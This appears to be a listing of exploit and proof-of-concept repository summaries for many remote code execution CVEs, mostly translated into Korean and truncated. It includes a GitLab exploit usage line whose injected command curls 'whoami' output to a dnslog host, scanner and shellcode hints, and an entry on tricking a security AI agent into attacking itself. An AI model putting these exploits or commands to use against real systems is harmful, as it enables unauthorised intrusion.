Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 참고 dalao 분들께 경의를 표하며: CVE-2023-50386 취약점 작성자 블로그 Java Security Manager 우회 방법 JDK 17에서의 리플렉션 보호 우회 JNI를 이용한 Rasp 우회 취약점 이용 원리 및 고찰: https://mp.weixin.qq.com/s/mO4e8aiuL56yBdOD4jy2qQ poc는 Pocsuite3로 작성되었으며, 프레임워...

Firefox-CVE-2016-9079

Firefox RCE CVE-2016-9079 nsSMILTimeContainer 이는 https://www.exploit-db.com/exploits/41151 의 수동 익스플로잇입니다. Windows 10용 다른 익스플로잇https://github.com/soham23/firefox-rce-nssmil도 존재하지만, Windows 8.1에서는 작동하지 않아서 제가 직접 만들었습니다. 241번째 줄을 자신의 셸코드로 수정해야 합니다. 이 줄 위에 예시가 있습니다. 저장소를 다운로드하고 서버를 시작하세요. Python 서버를...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x 무단 RCE 일괄 탐지 스크립트 이 취약점은 좀 계륵 같은 게, 아무거나 200여 개를 찾아봤는데 5개만 이 구멍이 존재한다 다음은 알아서 해결하자. PHP는 다 갖춰졌는데, 아직도 리버스 셸을 못 띄우겠어?...

CVE-2020-8840

CVE-2020-8840：FasterXML/jackson-databind 원격 코드 실행 취약점 0x00 개요 jackson-databind는 FasterXML 프로젝트 그룹의 JSON 처리 라이브러리입니다. 0x01 취약점 개요 2월 19일, NVD는 jackson-databind의 JNDI 주입으로 인한 원격 코드 실행 취약점CVE-2020-8840을 공개했으며, CVSS 점수는 9.8입니다. 영향을 받는 버전의 jackson-databind는 org.apache.xbean.propertyeditor.JndiConverte...

Wing-FTP-Server-7.4.4-RCE-Authenticated

Wing FTP Server 7.4.4 - 원격 코드 실행 인증됨 CVE-2025-5196 Wing FTP Server는 웹 인터페이스를 통해 접근 가능한 관리 Lua 스크립팅 콘솔을 제공합니다. 인증된 관리자는 불충분한 샌드박싱으로 인해 임의의 Lua 코드를 실행할 수 있습니다. 영향받는 버전: Wing FTP Server 7.4.4 Windows | 인증 필요: 예 다운로드 및 릴리스 노트 2025년 5월 24일까지, 공급업체가 제공하는 최신 버전의 애플리케이션은 다음 링크에서 확인할 수 있습니다:...

CVE-2024-4577

CVE-2024-4577 PoC 익스플로잇 설명 이 저장소는 Windows에서 실행되는 모든 버전의 PHP에 영향을 미치는 치명적인 취약점인 CVE-2024-4577에 대한 개념 증명PoC 익스플로잇을 포함합니다. 이 취약점을 통해 공격자는 원격으로 임의 코드를 실행할 수 있습니다. 또한 이 결함은 Windows 시스템에 설치된 XAMPP 개발 환경에도 영향을 미칩니다. 연구원들은 이 취약점을 대상으로 한 활발한 스캔 활동을 관찰했으며, 영향을 받는 조직은 PHP 설치를 신속하게 업데이트하는 것이 중요합니다. 취약점 세부 정보...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System 제어 소프트웨어 settimezone RCE 취약점 CVE-2023-28343 중국어 이름: Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） CVSS 점수:9.0 설명 : Altenergy Power System Control Software는 Altenergy Power System의 마이크로인버터 제어 소프트웨어입니다. 영향 : AlAltenergy Power Syst...

sunlogin_rce

서문 별로 할 말은 없고, 바로 도구와 취약한 버전을 올립니다. 로컬에서 테스트해보시면 좋고, 불법 테스트에 사용하지 마세요. 테스트한向日葵 클라이언트 취약 버전: 11.0.0.33162 취약한 클라이언트는 소스 코드에 포함되어 있습니다. 포트 스캔은 다음을 사용했습니다: https://github.com/jboursiquot/portscan 취약 버전 피드백 기반 11.1.1 10.3.0.27372 11.0.0.33162 명령어 설명 -h 대상 지정 -t 스캔 또는 명령 실행 선택 기본값: scan -p 스캔 포트 범위 설정...

SNMPocalypse-Cisco-Bug-Lets-Hackers-Crash-or-Command-Devices

SNMPocalypse-Cisco-버그-해커가-장치를-충돌시키거나-제어할-수-있게-하다 CVE-2023-20352는 Cisco IOS/IOS XE의 SNMP 엔진에 존재하는 심각한 스택 오버플로 결함입니다. 조작된 SNMP 패킷만으로 원격 공격자는 시스템을 충돌시키거나 루트 제어권을 장악할 수 있습니다. 모든 SNMP 버전이 취약합니다. 지금 패치하지 않으면 완전한 침해 위험이 있습니다. 작성자: Mark Malllia SNMP 소개 SNMPSimple Network Management Protocol는 네트워크 관리의 기반...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js RSC RCE 스캐너 및 POC/익스플로잇 모음 CVE-2025-66478 Next.js 애플리케이션 버전을 배치로 감지하고 CVE-2025-66478 취약점의 영향을 받는지 확인하는 명령줄 스캐너입니다. 이 스캐너는 취약점을 악용하지 않습니다 취약점 설명 https://nextjs.org/blog/CVE-2025-66478 설치 전제 조건 Go 1.19 이상 Chrome/Chromium 브라우저 go-rod가 자동으로 다운로드합니다 git clone...

CVE-2021-22205

CVE-2021-22205 영향받는 버전: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 사용법 python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token 획득: /users/signin을 통해 csrf-token을 획득한 후 앞선 CVE-2021-22205 poc를 사용하여 업로드 패킷을 구성하고 인증되지 않은 업로드 요청을 실행하여 최종적으로 rce를 달성합니다. 참고:...

CVE-2023-50164-Apache-Struts-RCE

CVE-2023-50164: Apache Struts のパストラバーサルからRCEへの脆弱性 Apache Struts において、CVE-2023-50164（CVE: 9.8）として識別される重大なセキュリティ脆弱性が発見されました。この脆弱性により、攻撃者はファイルアップロードパラメータを操作し、権限を超えたパストラバーサルやリモートコード実行（RCE）につながる可能性があります。 このエクスプロイトスクリプトは、vsociety での CVE 分析のために作成されました。 PoC デモンストレーション用に、シンプルなダミーアプリが開発されています（struts-app...

POC-CVE-2021-42013-EXPLOIT

-ff0055?style=for-the-badge&logo=python 🔥 CVE-2021-42013 Exploit Framework by Makaveli 💀 우주 다차원 해커 모드 활성화... 잘못 구성된 서버에서 Apache Path Traversal + RCE CVE-2021-42013 취약점을 탐지하고 악용하도록 설계된 고급 스캐닝, 익스플로잇 및 원격 상호 작용 도구입니다. --- ⚠️ 법적 경고 이 소프트웨어는 통제된 환경에서 교육 및 연구 목적으로만 제공됩니다. 명시적 허가 없이 이 도구를 시스템에 사용하는 것은...

CVE-2025-67511

CVE-2025-67511: 보안 AI 에이전트를 속여 스스로를 해킹하게 만들기 CVE-2025-67511에 대한 Hacktive Security 블로그 게시물 블로그 게시물 링크 : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR cai-framework = 0.5.9에서 AI 에이전트가 사용할 수 있는 함수 도구 runsshcommandwithcredential...

CVE-2026-11645-Out-of-bounds-Read-Write

CVE-2026-11645 - Chrome V8 Out-of-Bounds Read/Write Exploit ⚠️ 경고 이 코드는 교육 목적 및 승인된 테스트 전용입니다. 📋 설명 CVE-2026-11645는 Google Chrome의 V8 엔진에서 경계를 넘는 읽기 및 쓰기OOB 취약점입니다. 원격 공격자는 조작된 HTML 페이지를 통해 샌드박스 내에서 임의 코드를 실행할 수 있습니다. 기술 세부사항 필드| 값 ---|--- CVE| CVE-2026-11645 CVSS| 8.8 High 벡터|...

CVE-2026-49160-CVE-2026-47291-HTTP.sys

CVE-2026-49160 & CVE-2026-47291 HTTP.sys PoC HTTP.sys 서비스 거부 취약점 HTTP.sys 원격 코드 실행 취약점 GitHub의 파일 크기 제한으로 인해 이 PoCCVE-2026-49160의 데모 비디오는 Releases에 첨부 파일로 호스팅되어 있습니다. CVE-2026-47291 취약한 코드: if DAT0 & 1 != 0 locale8 = int piVar16 + 0x10; locale0 = char ppuVar3;...

cve-2019-1003000-jenkins-rce-poc

PoC: Jenkins RCE SECURITY-1266 / CVE-2019-1003000 스크립트 보안, CVE-2019-1003001 파이프라인: Groovy, CVE-2019-1003002 파이프라인: 선언적 사용자가 Overall/Read 권한과 Job/Configure 및 선택적으로 Job/Build 권한을 가지고 샌드박스 보호를 우회하여 Jenkins 마스터 또는 노드에서 임의 코드를 실행할 수 있도록 하는 개념 증명입니다. 업데이트 : Orange Tsai의 기사는 CVE-2018-1000861과...

CVE-2025-26686-poc-A-critical-RCE-vulnerability-in-Windows-TCP-IP-stack

이 PoC는 통제된 air-gapped네트워크 분리 환경에서 검증되었습니다. 민감한 익스플로잇 세부 정보는 제거삭제되었습니다 — 서면 승인이 있는 경우 유지보수자에게 문의하여 접근 권한을 요청하세요...

krle

REACT2SHELL CVE-2025-55182 React2ShellCVE-2025-55182는 Server Actions를 사용하는 Next.js 애플리케이션에 영향을 미치는 심각한 원격 코드 실행RCE 취약점 체인입니다. 이 취약점은 프로토타입 오염 취약점과 Server Actions를 결합하여 서버에서 인증 없이 임의 코드 실행을 달성합니다. 이 저장소는 React2Shell 페이로드 및 우회 방법을 공유하는 데 전념합니다. PR/기여는 언제나 환영합니다! 리소스 아래는 유용할 수 있는 추가 리소스입니다: Assetnot...

INPGer

INPGer | CVE-2022-4063 - InPost Gallery CVE-2022-4063 - InPost Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 사용 방법 bash inpger.sh yourlist.txt thread 참고 https://vulners.com/cve/CVE-2022-4063...